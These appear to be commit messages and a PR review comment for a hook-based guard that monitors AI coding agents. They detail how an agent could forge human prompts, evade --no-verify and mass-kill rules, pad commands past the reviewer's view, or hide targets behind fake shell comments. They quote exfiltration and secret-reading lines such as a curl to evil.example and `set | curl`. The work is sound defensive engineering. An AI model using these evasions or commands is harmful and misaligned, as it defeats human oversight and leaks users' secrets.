So the transcript is now checked against what it has been, not only against
what it says. Every prompt-submit event of a harness that is checked this way
(Claude Code, droid) stores the transcript's device, inode, length and a
SHA-256 of the 64 KB before that length in the session's own 0600 file, and
the next prompt counts only while the transcript is that file, grown: same
inode, those bytes still where they were, and no more appended since the last
prompt than the check can read. Truncated, replaced, rewritten in place, or
grown past the read budget, it vouches for nothing — and the mark does not
move, so making the file read well again does not undo it. A single honest
turn larger than 4 MB costs that one prompt, not the session. "A conversation"
also now means a turn entry: a bookkeeping line carrying a `type` was enough
before.
The second blocker was the exception's scope. It was keyed on "this session
has recorded nothing yet", so any session whose opening turns were all
dropped — harness text, a stop-gate follow-up, an image-only prompt, an IDE
prompt with no request heading, or the model's own scheduled task in a
cron-started session — kept it alive for the rest of the session, one
`truncate` away from laundering a scheduled prompt. The mark is now written
for every prompt-submit event, recorded or not, and the exception asks
whether the session has been *seen*: it covers exactly one submission, which
is what the docs always claimed. The session file therefore outlives the
prompts in it and is swept after seven days of silence rather than six hours,
since losing it early hands the exception back to a session that is still
running.
What this does not do is authenticate the transcript's contents. An agent
that reproduces it byte for byte up to the point the last prompt was seen and
appends its own continuation still erases what it wrote in between; it has to
hit that point without being able to read the mark, and anything short of it
is a rewrite the next prompt refuses. The page says so rather than promising
more.
Tests: __tests__/hooks/semantic/intent-capture-r7.test.ts — every reported
spelling (truncate plus one turn line, a bare `{"type":"user"}`, a rewrite in
place, a replacement file, 4.2 MB of well-formed padding), the honest
directions that must keep working (append-only growth, a genuine first
prompt, one oversized turn costing one prompt), and the five openings that
used to keep the exception alive. Mutation-verified: dropping the identity or
digest check, the read-budget check, the mark-on-every-event write, the turn
check, or the vanished-path rule each fails these tests.
Three branch tests changed with the behaviour they pin, none weakened: two
now assert "no session file holds a prompt" instead of "no session file
exists" (a refused prompt leaves a mark by design), the five-prompt storage
test appends to its transcript instead of rewriting it each turn, the
agent-message test moves to a harness with no transcript check, and the
prune test moves to the retention window and gains a case for a file past the
intent window but inside it.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…tools do
Seven confirmation findings against the six hard-floor builtins, all in how
block-mass-kill and block-no-verify READ a command rather than in what they
decide once they have read it.
block-no-verify, git's own precedence:
- An alias named after a command git ships is dead text — git.c tries
handle_builtin() and the dashed externals before handle_alias(). Expanding
it anyway and stopping there let one `-c alias.commit=status` disarm every
`--no-verify`, `-n`, `core.hooksPath` and `HUSKY=0` spelling there is.
GIT_COMMANDS now models that precedence, in both directions: the real
subcommand is checked, and `-c alias.status='commit --no-verify' status`
stops being a false deny.
- An alias body the command string does not state now fails CLOSED, like the
`--config-env core.hooksPath` one line below it: `--config-env=alias.ci=E`
defines a working alias (checked against git 2.43) and was allowed, and a
`-c alias.ci="$B"` the resolver reads only part of (it takes the first word
of a `${X:-…}` default) hid a `--no-verify` the same way.
- Expanding an alias re-quotes its tail. `ShellWord.text` drops the quotes, so
the round-trip re-lexed a commit MESSAGE into flags and denied
`git -c alias.ci=commit ci -m 'do not use --no-verify here'`.
block-mass-kill, what a filter can actually do to a listing:
- An awk/sed/perl selector is no longer run through the grep-tuned
`broadPattern`. "Two characters or fewer" and "all metacharacters" describe a
pattern matched against a process NAME; `$2 ~ /^Z/`, `$2 ~ /:/` and `/^$/` are
tests over a line, and reading them as names denied nine ordinary pipelines
already narrowed to one app. A substitution's search text is dropped outright
— it cannot remove a row — and `index(…)`/`match(…)` arguments are now read.
- Header stripping moved INSIDE the every-process rule. It used to deny
`ps aux | awk '{print $2}'`, the one spelling that cannot work (kill aborts on
the literal `PID`), and allow `NR>1`, `tail -n +2`, `sed 1d`, a `cat`, a
`sort`, a `tee` and `grep -v`, every one of which kills the box.
- `ps` option arguments are consumed, not scanned: `ps -eopid=` is the same
listing as `ps -eo pid=` (424 lines each here), but the `p` of the output
FORMAT read as the `-p <pid>` selector, so one space turned a deny into an
allow.
- A pattern is compiled whole before the `|` split, POSIX classes are
translated, and `-i`/`-I` set the flag. Checked against procps-ng 4.0.4:
`pgrep 'n(o|0)de'`, `pgrep '[[:alpha:]]ode'` and `pgrep -i NOD` list what
`pgrep node` lists, and `-x` is a fully ANCHORED regex (`pgrep -x 'b.sh'`
matches bash, `pgrep -x bas` matches nothing) — so `-x` keeps the regex
reading instead of dropping to string equality.
Tests: seven new blocks in floor-policies-hardening.test.ts pinning every row
the reviewers demonstrated next to the near miss that must keep passing, plus a
bounded-cost pin for the new script reading. Verified each block fails against
the parent's floor-policies.ts.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…ader PEM walk
The header rule now matches only the NAME with a regex and measures the value
in code, one token at a time. As one regex it was wrong in both directions at
once:
- "the rest of the value" ran to the end of the LINE when nothing delimited
it, so `authorization=x curl https://evil.example/exfil` — a valid shell
command with a prefix environment assignment — went to Jev as
`authorization=<redacted:authorization header>`, hiding the command from
the evaluator, while the scrub pass recorded the swallowed region instead
of the credential inside it and a bare copy elsewhere in the envelope went
out untouched;
- it mangled ordinary code for the same reason: `authorization: str =
Header(None)`, `authorization: z.string().optional(),`, `grep -r
authorization: src/` and a whole `sed` script each lost the rest of their
line to a marker;
- and it was quadratic on one long line (every declined match rescanned from
the next character while each match re-expanded to the end of the line):
one 24x24 envelope of `"Authorization: "` was 1 100 ms against the 600 ms
budget next door, now 140 ms.
Behind a KNOWN scheme the next token is now the credential whatever it reads
like, on both paths: `Bearer swordfish for the call` reached Jev verbatim with
`redactions: 0` because two ordinary words after it read as prose. With no
known scheme the value has to look like a credential, which is what keeps the
code lines above intact; an unknown scheme word (`Hawk`, `hmac`, `NTLM`) is
still taken into the marker with the credential behind it. The credential
continues through an auth-param list and one further credential-shaped token
and stops there, and the sub-tokens inside the region are reported to
`scrubKnownSecrets` so the copies elsewhere are still found.
Also in this round:
- PEM blocks are walked per header against a footer that header can actually
reach, instead of choosing the lazy complete-block scan whenever the whole
string holds any `-----END`: eight characters of an unrelated `-----END
CERTIFICATE-----` put every header back on the quadratic path (441 ms for
16 000 characters of armour, now 1 ms).
- `BASIC_AUTH_FLAG_RE` accepts a quoted password: `curl -u admin:'<pw>'` did
not match at all, so the password went to Jev with the command. The class
floor test that was meant to catch this passed vacuously — it only
iterated `found` — and now asserts the password is gone whether or not a
rule matched.
- A value that ends at the bracket closing the code around it
(`{"headers": {"Authorization: <key>"}}`) is redacted; the token used to
keep `"}}` and read as code.
Cost, per 2 000-character string and for a 24x24 envelope of them, all shapes
linear: `Authorization: ` 2.3 -> 0.4 ms and 1 081 -> 141 ms; armour lines with
a foreign footer 1.4 -> 0.1 ms; 16 000 characters 3 500 -> 1.9 ms.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Five review rounds tried to prove a prompt was typed by a person by reading the session transcript: the scheduling call that fired it, the scheduled-task entry, "is there a conversation at all", and finally a high-water mark over the transcript's device, inode, length and bytes. Each round the next reviewer found three more spellings of the same forgery, and twice a patch introduced a defect of its own. All of it reads a file the agent already has a shell over — it can truncate it, replace it, pad it past the read budget, or `cp` it at the start of its turn and `cp` it back at the end — so the whole mechanism is deleted rather than repaired. What decides now is what the harness itself hands the hook: the canonical event type, and the fields in the payload on the hook's stdin, which the agent cannot edit. `humanPromptText` is six branches, each with a one-line reason. Anything missing, empty, ambiguous or merely probable records nothing. Blunter and stricter, deliberately. Stated in the docs and here: - Claude Code moves from "recorded unless the transcript objects" to "recorded only when the payload says `source: "user"`", Claude Code's own name for the interactive composer. That field is declared in 2.1.280's hook-input schema and that build does not populate it, so Claude Code records NOTHING today and starts working, with no change here, on the first build that sends it. `sdk` is refused too: an agent can start its own `claude -p`. - Codex and Factory Droid are not capturable and record nothing at all. Codex fires this event in sub-agent threads whose prompts the parent agent wrote, droid is unverified for prompts the model arranges, and neither payload says which — only their JSONL did. - A call without the payload records nothing, for every harness, and a payload carrying `agent_id` at all is refused on every harness. - The session file holds prompts again and nothing else: no origin state, no transcript mark, and the retention window is back to the six-hour intent window instead of seven days. The cost of every one of those is the same and is only ever in the safe direction: with no recorded prompt Jev has no task to judge the call against, so it clears no reviewable policy and the beyond-the-task check stays off. Nothing is ever allowed because a prompt could not be captured. The transcript is still read for one thing, and never for origin: the agent's last visible message. That is agent-written by definition, Jev is told so, and it is never consent on its own. Tests: intent-capture-r8 replays every forgery rounds 4-7 reported — snapshot-and-restore at the mark and above it, `truncate -s $S`, truncate plus one well-formed turn, 4 MB of well-formed padding, the session whose first prompt named a transcript that did not exist yet, the empty and no-path openings, the cron-started session with an unreadable transcript, unlinking the session's own state file, and droid's JSONL — and each is refused by the payload instead. r7's test file is deleted with the machinery it pinned; r6's transcript and rollout describes now pin that the transcript changes no answer. Mutation-verified: turning the Claude gate off fails 23 tests, accepting `sdk` 2, reading a missing `source` as human 2, making Codex or droid capturable 9 each, dropping the `agent_id` check 4, falling back to a payload-less `prompt` 4, and dropping the gate 32 — each restored exactly afterwards. src/hooks/semantic/intent.ts loses 419 lines. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Five review rounds patched the exact padding spellings that were reported
and the next round found three more of the same class, twice introducing a
new defect on the way. This round closes the class by SIMPLIFYING, per the
orchestrator's design directive, which refines plan §4.
1. The envelope is built inside a HARD, DETERMINISTIC BUDGET.
- Object KEYS go through `cleanString` like values: capped
(`MAX_KEY_CHARS` = 128) and redacted. A key was the one uncapped
string left, which made it both a size channel (one 130,000-char key
-> `request-too-large` -> Jev's deny discarded -> allow) and an
unredacted leak/injection channel with `truncated` false.
- Container DEPTH (`MAX_DEPTH` = 3) and entries per container
(`MAX_KEYS` = 24) are capped; what is dropped becomes a marker.
- A TOTAL budget (`MAX_STATE_CHARS` = 40,000, counted in SERIALIZED
characters) is spent as the envelope is built, most-important field
first, so no field can starve another and the state has a fixed
ceiling however the call is shaped.
- Because a call cannot come out too big, `SHRINK_STEPS` and the
rebuild loop in `prepareSemantic` are DELETED rather than guarded.
`request-too-large` survives only for our own questions (~13,000
characters against a 120,000 budget), which a test pins.
2. Building the envelope NEVER throws. No `JSON.stringify` of a
caller-shaped subtree (that was a RangeError at ~50,000 nesting, and a
`degraded("prepare: …")` is a discarded verdict), no unbounded
recursion, no assumption a value is representable: a bigint, symbol,
function, cycle, throwing getter or exotic proxy each becomes a short
marker. Control characters and unpaired surrogates are replaced with a
space, so a character cannot cost six once serialized. `verdictLogRow`
gets the same treatment — it runs inside the promise chain that
produces the review, so a raise there also dropped the verdict.
3. Truncation still constrains what Jev may DO, never whether it is asked
(unchanged from 56d30f9, now with no size or prepare escape hatch):
the request is sent, the verdict counts for deny and instruct, no
reviewable policy is cleared, no regex deny is downgraded, and the
activity row records `jev-fallback` / `truncated`. A genuine transport
failure (timeout, 429, 402, 5xx, malformed, model mismatch) still
falls back to the full regex result exactly as §4 says.
4. Local checks run on the same evidence Jev judged, without importing
its caps. `buildEnvelope` now reports the WINDOW it carried
(`Envelope.evidence`) with the text UNCUT. Reading the capped strings
back out of the envelope had fixed one hole (a dropped turn supplying
consent) and opened another: `targetNamedByUser` is a substring
search, so a target named in the cut middle of a 3,000-character
prompt stopped being found and an explicit user request became an
instruct or a deny. Both halves now hold by construction.
5. When the judged command IS cut, `agent_request.command_tokens` carries
a deduplicated skeleton of the WHOLE command (whitespace scan, head
and tail, own sub-budget). The open blocker was padding on BOTH sides
of the dangerous part — `echo <1250 x> ; find . -delete ; echo <850 y>`
put it in the head/tail cap's dropped middle, so Jev was asked about
padding, answered allow, and there was no deny left to protect. It now
denies at 1,250, 5,000, 100,000 and 1,000,000 characters of padding per
side. A token over 64 characters keeps its LENGTH and none of its text,
so the skeleton cannot hand SECRET_PATTERNS a fragment of a credential.
Blunter or stricter, deliberately, and written into the module docs:
- A key over 128 characters, a container over 24 entries and nesting past
depth 3 are cut on every call, not only on large ones.
- Substituting an unrepresentable value, or an object whose keys cannot be
read, now sets `truncated` — so such a call clears nothing.
- Control characters and unpaired surrogates in what Jev sees become
spaces.
- Once the total budget is spent, later fields become markers even though
their own per-field caps would have allowed more.
NOT closed, and no longer claimed: a bounded projection of an unbounded
string always drops something and the attacker picks where, so a command
of thousands of DISTINCT tokens can still push its middle out of both the
text cap and the skeleton. The over-claims in `envelope.ts` and
`jev-review.ts` are replaced with what is actually true; the regex tier
reads the whole command and remains the floor.
Tests: new `__tests__/hooks/semantic/envelope-budget.test.ts` (115 cases)
pins the properties rather than the spellings — size, no-throw, per-string
caps, hostile non-tool-input, the verdict log, and the two-sided padding
repro against a transport that answers from what it can actually SEE.
Handler-level guards for the key and deep-nesting spellings, the latter
fed as raw stdin text because `JSON.stringify` raises on it while
`JSON.parse` does not. Verified failing: uncapped keys 13, no budget 7,
stringified subtree 5, no skeleton 3, capped-string evidence 3; each break
restored byte-identically.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…them
Five review rounds patched the reported spelling and the next reviewer found
three more of the same kind — twice with a new defect in the patch itself (a
regex compiled from the caller's own text that held the hook for 102 seconds
under Node, and nine false denies on ordinary pipelines). The readings were not
careless; they were undecidable. So they are gone, and each policy now turns on
ONE rule a reviewer can check by reading.
block-mass-kill reads the PROCESS LISTER and nothing else. Only the lister's own
options narrow a listing (`ps -p`, `ps -C my-daemon`, `pgrep -f my-worker`); what
happens between the listing and the kill — a grep pattern, an awk program, a sed
address, `tail -n +2`, `cat`, `tac`, `shuf`, `column`, a loop body — is not read
at all. `top`, a `/proc` scan and a bare `Get-Process` join `ps`/`pgrep`/`pidof`
as listers. A pattern is never compiled: `.` is read as one character by a
positional scan, and any other regex character makes the pattern one this does
not read, so it is treated as reaching everything.
block-no-verify decides on the command git will really run and fails CLOSED where
it cannot. Every way a command carries configuration — `-c`, `--config-env`,
`GIT_CONFIG_COUNT`/`KEY_n`/`VALUE_n`, `GIT_CONFIG_PARAMETERS`, a config file it
names, `include.path` — is one `ConfigSource`, judged by what it COULD be rather
than by however much of it happens to resolve. Builtin dispatch is matched
case-sensitively and alias lookup case-insensitively, the way git does it.
Closes, with the original repros: awk/sed selectors that match every `ps` row
(`/:/`, `/0/`), `tac`/`shuf`/`column`/`expand`, `$1 != "PID"`, `NF`, a positive
grep, `for p in $(pgrep node); do [ -n "$p" ] && kill $p; done`,
`git -c alias.COMMIT='commit --no-verify' COMMIT`, `GIT_CONFIG_KEY_0=alias.ci`,
`git -c "$C" ci`, and the ReDoS.
DELIBERATELY BLUNTER — each of these was allowed before and is denied now:
- any chain out of a listing of every process, however narrow the chain looks
(`ps aux | grep myapp | awk '{print $2}' | xargs kill`);
- a loop that checks each process before killing it, when the listing it walks is
broad (`for p in $(pgrep bash); do case … kill $p;; esac; done`);
- a pkill/killall pattern holding a group, class, alternation, repetition, anchor
or escape (`pkill 'my(a|b)pp'`, `pkill -f 'node.*worker'`, `pkill 'nod$'`);
- a commit or push under a setting the command does not state in full
(`git -c core.hooksPath=$H commit`, `GIT_CONFIG_GLOBAL=x.cfg git commit`).
The narrow spelling beside each one still runs, and the deny names it. Both
policies are off by default, so this costs one surprise at enable time.
Two denies relax, both for consistency: `git CONFIG core.hooksPath /dev/null`
(git ships no `CONFIG`, so nothing runs) and a `GIT_CONFIG_KEY_0=core.hooksPath`
whose stated value is an ordinary hooks directory, which matches `-c
core.hooksPath=.husky`.
False positives: 0 decision changes across the 815 real Bash commands in the
labelled corpus, for all six floor policies.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…y carries Jev status and test chose the Cloud remedy from the parsed file's provider, which a not-JSON or absent file does not have, so on a machine whose key carries jev:evaluate they offered `jev setup --provider <kind> --key-stdin` (a TypeSafe key the user does not have) while `config --token` said `jev setup --provider failproofai`. One cloudRoute() now falls back to the connection fact for both, `jev test` does the same for an absent file, and `status --json` reports cloudConnected/keyCarriesJev for every refusal. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
inspectJevConfig refused a group/world-accessible jev.json with a fixed "it holds a key" before reading it, and jev status/test then said "rotate the key if it matters". A Cloud jev.json has no key (it lives in credentials.json, which is 0600), nor does a --key-from-env one, so the owner was sent to rotate a key that was never exposed. The too-open branch now reads the bytes it already has open to word the refusal (still refused as firmly), marks it keyless, and the next step drops the rotate advice; a loose Cloud file is pointed at `jev setup --provider failproofai`. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
kept() returned early for a Cloud jev.json on another origin, skipping the mode inspection, so a file that was also mode off got "Jev stays off until you run `failproofai jev setup --provider failproofai`" -- a command that keeps the stored mode, leaving Jev off. The early return now carries the raw mode off, and the connect line says both and gives `jev setup --provider failproofai --mode shadow`, which does turn it on. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
models() read --json but only its list-read failure used it; every
pre-flight refusal (no config, FailproofAI Cloud, Cloudflare, custom with
no --url, unknown provider, bad URL, endpoint given as base, parse errors)
returned prose with no json, so the launcher printed nothing parseable on
stdout. They now go through one refuse(code, lines) that emits
{ok:false, error:{code, message}} like `jev test --json`, keyed on the
same argv test the launcher uses.
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
…ason The dashboard's endpoint-as-base refusal said "failproofai adds /systemone to the base itself" for every suffix, implying a `/v1/systemone` URL would be doubled -- it never is. The CLI's L24 fix picked the right sentence from the transport's own URL but kept it private to jev-cli.ts. It moves to jev-client.ts as endpointAsBaseReason, used by both, so the two cannot drift again. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
About ten Jev remedies tell users to run `failproofai config --token <key>`, whose key carries jev:evaluate and spends the org's Jev budget, yet that command gave no warning while `jev setup --token` did. The first line of the warning moves to tui.ts (TOKEN_ON_ARGV) and both commands use it; the bin prints the config variant on stderr after the headless and the --connect paths whenever --token was given, pointing at FAILPROOFAI_CLOUD_TOKEN instead. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
…stom with Cloudflare 4fc3690's `jev setup --base-url` refusal advised "Give custom's own endpoint, or ... --provider cloudflare" for custom on api.cloudflare.com. Provider custom has no endpoint of its own, and cloudflare is unusable without --account-id, so the remedy pointed nowhere. It now gives the same advice `--url` gives for that pair. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
…nd real publish The reminder lived only in build()'s lines. A real publish printed none of them, and --dry-run printed built.lines.slice(0, 4), a count written when the build output was a header plus three asset paths; with --min-cli-version the window ended on the reminder's first line, cut at a comma. build() now flags the pack as semanticOnly in its meta, publish appends the shared reminder to its success message, and the dry run prints every build line up to the blank. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
…ilproofAI build() validated each semantic declaration with the loader's parser but never applied isReservedClaim, so a third-party pack declaring destructive-deletion built and published cleanly while every machine voided the claim at install. It now refuses the name where the author can still rename it, judging the source by the repository publish passes through (--repo), or the id for a bare `pack build`, exactly as the loader judges installed packs by `source`. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
…t-ins leave build() compared a pack's question cost with the whole MAX_PACK_QUESTION_CHARS, but semanticPoliciesFromPacks starts a pack from outside FailproofAI with BUILTIN_QUESTION_CHARS already spent, so a pack between ~9.1k and 27.6k characters published cleanly and lost checks on every machine. The budget is now judged by the same first-party rule the resolver uses (source from --repo, else the id), and the refusal names what a machine leaves and why. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
…ev checks build() only checked that --min-cli-version parsed, so a pack of checks could declare 1.0.7, 1.0.0 or nothing. 1.0.7 ignores semantic entries and 1.0.7-beta.x replaces the built-in checks with them, so every such value let the pack install on builds that run it wrong. A lower minimum is now refused, and a missing one is written as 1.0.8-beta.0 (and printed), which is the honest floor without forcing a new flag on every author. Regex-only packs are unchanged. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
…n in show 7e5bc43 made a third-party pack's Jev checks join the built-in set and fixed the add and publish lines, but jevChecksSection's note (policies show) and the picker preamble still said a pack's checks replace this build's. The wording now comes from one helper that branches on isFirstPartyPack, used by add, show and the picker, and show runs the same resolver diagnostics add prints (reserved, contested, budget) with the previewed pack judged beside the installed ones. The picker's "1 Jev check, which are" grammar goes with the old sentence. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
The install line chose its wording from the semantic count and isFirstPartyPack alone, never from jevPacks, which drops observe packs and scopes a --cli pack to its agents. addPack now returns the recorded effect and clis, and the shared wording helper runs jevPacks on them: an observe pack's checks read "not asked", a scoped pack's "for <clis> only", and publish --effect observe says the same. The contested warning printed twice because semanticPoliciesFromPacks pushed an identical message for each claimant; it is now pushed once per name. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
…icy polls reqwest was built with only `rustls-tls`, which in 0.12 means the webpki roots compiled into the binary. A self-hosted FailproofAI Cloud behind a private CA, or any origin reached through a TLS-inspecting proxy, is trusted by the system store and by the node CLI (NODE_EXTRA_CA_CERTS), but not by that bundle. Every event upload and every desired-state poll failed `UnknownIssuer`: batches were parked, the deployment never arrived, and `config` still reported the machine connected. Installing the CA with update-ca-certificates or setting SSL_CERT_FILE changed nothing, because the daemon never read either. Enable `rustls-tls-native-roots` beside the bundled roots in both crates. Features unify, so this covers all three clients (uploader, cloud policy client, telemetry). Both root sets load, so a host with no CA store still has the bundle. It pulls rustls-native-certs and openssl-probe (pure Rust, fine on musl) and, on macOS only, security-framework; no OpenSSL. The regression test serves HTTPS from a throwaway CA and uploads a batch with SSL_CERT_FILE pointing at it; a control case with an empty store must still fail, so the pass is not the bundle's doing. Docs say where a private CA has to go and that NODE_EXTRA_CA_CERTS does not reach the daemon. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
… set surveyReviewableCoverage took its reviewers from reviewerNamesFor, which reads names off the manifests and cannot see a check semanticPoliciesFromPacks drops for the question budget. A policy reviewable only by such a check was reported reviewable in jev status and the dashboard panel though it can never clear. The survey (a CLI/dashboard module, off the hook path) now asks the resolver for the questions a request will carry. reviewerNamesFor stays manifest-only, because measuring questions would pull the semantic modules onto the hook path; its overcount is fail-safe, and its doc comment now says so. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
…survey surveyReviewableCoverage counted only configuredCustomPolicyPaths, so a machine whose own policies live in <project>/.failproofai/policies or the user policies dir reported customFiles 0, lost the "not counted" caveat, and reviewableProblem said Jev can never clear one while it was clearing a reviewable convention policy. The survey now adds the files discoverPolicyFiles finds where loadAllCustomHooks looks (unless customPoliciesEnabled is false), deduped by resolved path, and reviewableProblem stays quiet while any go uncounted. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
In enforce mode Jev cleared block-read-outside-cwd on reads nobody asked for. Live, after "tidy up the README": `cat /etc/shadow` ran with a warning (secret-exposure fired at 0.73, under its 0.85 deny line), and so did `cat ~/.bash_history` and an unrequested Read of ~/notes/todo.md (read-outside-workspace fired at 0.95, but it is instruct-only and Rule B counted any warning as a clear). An instruct-only reviewer therefore meant "off" in enforce, the case authority.mdx says must never happen, and on PreToolUse a warning does not stop the call. Generalises the L8 fix (e80e94a): toReview no longer counts a warning that no consent softened as a clear, and when it came from a deny-mode check it withdraws every clear on the call (unclearableWarned), not only for checks with userCanOverride false. Still clearing: none, overridden, and a deny the human's task softened to a warning (downgraded-task-step), which is consent. This keeps block-read-outside-cwd reviewable on a rule that can now keep its block, instead of making it hard and losing the requested-read clears. Pinned with the recorded answers: unrequested /etc/shadow (Bash, Read, cd /), ~/.bash_history, /root/.bash_history, ~/notes/todo.md and a synthetic ~/.ssh read keep the deny; requested cat/Read /tmp/report.txt, ~/notes/todo.md named in the prompt, requested cat .env, printenv PATH, env | grep -i proxy, echo $HOME and the requested CI webhook still clear, as does a task-softened rm -rf. Tests that pinned Rule B for unconsented warnings are corrected back to deny; docs and comments say the new rule. Rule B's measured false-block gain is partly given back, not re-measured. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
…ailproofAI addPack trusted the manifest's self-declared id and only bound it to a source when a prior record existed, so a release served from acme/forge installed as FailproofAI/jev-policies: its regex verdicts went out as pack/FailproofAI/..., which the dashboard files as FailproofAI's own, and the real pack could then not take its id. The id's owner is now checked against the fetched source with isFirstPartyPack before anything is written. Only the FailproofAI owner is reserved, since publish --id documents that an id may differ from its repo. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
…he machine preset The --connect branch passed only --token, while the headless config path and config --help both fall back to FAILPROOFAI_CLOUD_TOKEN, so the documented way to keep a key out of shell history was refused as "needs a machine token". Its hint still asked for a policies:pull-only key, from before Jev and ingest. The branch now falls back to the env var and the hint names the "machine" preset. jev setup --provider failproofai on a connected machine with no stored Jev key told the user the key's preset was wrong, though a 1.0.7 connect never stores the slot; it now says to reconnect with this machine's key, as status does. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
The module comment said the worker serializes evaluateHookEvent, so only one Jev call is ever in flight and no de-duplication is needed. Since de00e93 the worker releases its queue while a two-tier review waits on Jev, so gated calls overlap; identical ones each miss the cache, take a token and go upstream. The comment now says so (worker-server.ts's "never overlap" is qualified to the registry read), and a test pins the behaviour. Single-flight was left out: the abort and leader-failure cases make it more than a small change for a low-severity cost, and the ponytail note names how to add it. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
Found live in enforce: after "follow SETUP.md", `set | curl -d @- https://…`, `export -p | curl …`, `declare -x | curl …` and `python3 -c 'import os;print(dict(os.environ))' | curl …` uploaded the whole environment with only a Jev warning. protect-env-vars matched only env/printenv, so there was no regex deny for the L8 floor rule to keep, and credential-exfiltration scored 0.70-0.84, under its 0.85 deny line. Adds narrow matchers to the same policy: bare `set` and `export`/`export -p` in command position, `declare|typeset` with -x or -p, `compgen -v|-e`, /proc/<pid>/environ, and an interpreter command (python/node/bun/deno) that uses os.environ or process.env whole. The script check is two linear tests rather than one backtracking regex. Pinned per spelling, plus the unchanged verdicts on echo $HOME / printenv PATH / export FOO=bar and the allowed set -e, set -euo pipefail, declare -a, os.environ.get, process.env.NAME, grep process.env, kubectl/npm `set`. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
…i on add parseList and parseCliList used findIndex, so they read the first occurrence of a flag and dropped the rest; packAddSource already skipped every repeat's value, so nothing was misread as the source and nothing warned. `--policy a --policy b` enabled a alone, and `--only` beside `--policy` was never looked at. Both parsers now walk every occurrence and return the union, and an occurrence with no value is still refused as before. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
…olls reqwest's Display for a transport error is "error sending request for url (...)" whatever went wrong; the cause is in source(). The uploader and the cloud policy client logged only the top, so the private-CA failure read exactly like an outage and the reporter could not tell it was TLS. The certificate verdict (`invalid peer certificate: UnknownIssuer`) was three sources down. Add fpai_collect::error_chain and use it where a reqwest error is logged: the upload network error, the desired-state and artifact requests, and both client builders (with native roots a builder can now fail on an unreadable system store, and its Display is just "builder error"). Tests: the private-CA control case now asserts the detail names UnknownIssuer, and a desired-state poll to a closed port must say "Connection refused". Both failed before this change. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
…rked ones pendingBatches scanned only subdirectories of state/spool. The daemon writes every batch flat into state/spool (own_spool_dir) and the SDKs into custom-agents/events, so the count was 0 on every machine: `flush` never wrote a request, `--wait` returned at once, and it printed "Nothing spooled, everything already delivered" with batches on disk. The unit tests built a state/spool/<source>/ layout the daemon never produces, which is why they passed. Count the flat roots the daemon sweeps. Batches parked in state/failed are counted separately and named, not called delivered; flush does not resend them (the daemon retries parked batches about hourly and at start, and making flush retry them would let three flushes during an outage poison them), so the line says how they are retried. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
targetTokens lexed the command with facts.ts scanCommand, which ends its
view at a '#' bash does not treat as a comment ($'...', ${x:- # },
backticks). For `echo $'\' # '; rm -rf ~/work/other-repo` it returned no
targets, and both deciders read an empty set as "names no target", so an
op-requested override rested on Jev's answers alone: offline, with identical
answers, the plain rm came out deny and the fake-comment rm allow.
When the scan finds nothing, targetTokens now takes the words of the raw
command (first word of each piece and flags skipped, as the scan does).
That can only be stricter: an empty set already passed. When the scan does
find targets, comment text still cannot supply one. A command that really
names nothing (`git push --force --all`) still yields an empty set and rides
on the scope answer as before. Pinned for v1 and v0 with the three fake
comment shapes plus the plain command and that control.
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
hermes-exosphere
requested changes
Sep 27, 2026
hermes-exosphere
left a comment
hermes-exosphere
left a comment
Contributor
There was a problem hiding this comment.
Hermes found blocking issues that should be addressed.
Review coverage was incomplete, but the concrete blocking findings below are sufficient to request changes.
High: Partial target scan can clear a deny for a different target
- Rule:
SEC-001 - Location:
src/hooks/semantic/decide.ts:91 - Evidence:
targetTokens()falls back to raw command words only when the partial scanner produced no target (lines 86-97). The scanner does not understand an escaped quote in ANSI-C quoting and treats the following#as a comment (facts.ts:84-115). Consequently, forecho $'harmless\\' # ignored'; rm -rf /critical, the containerized reproduction returned["harmless"];/criticalis never considered. With a reviewable destructive-deletion policy and otherwise qualifying Jev answers,decideV1()returnedallowfor the user messageremove harmless, because lines 324-353 accept any matching scanned target. This bypasses the local check intended to ensure that an override names the actual destructive target. - Required change: Make target extraction fail closed whenever scanning may be incomplete, rather than only when it is empty. Have the scanner report truncation/unsupported shell syntax and prohibit intent overrides for that command (or use a shell-aware parser that reliably identifies every command target). Add regressions where a harmless pre-comment token precedes each fake-comment form and a destructive target follows it.
| // backticks ends its view early, and it reads only MAX_SCAN_CHARS — so an | ||
| // empty scan may just have stopped before the target. Then judge the words | ||
| // as written. Only ever stricter: an empty set already passed. | ||
| if (out.size === 0) { |
Contributor
There was a problem hiding this comment.
Hermes — High/High (SEC-001): Partial target scan can clear a deny for a different target
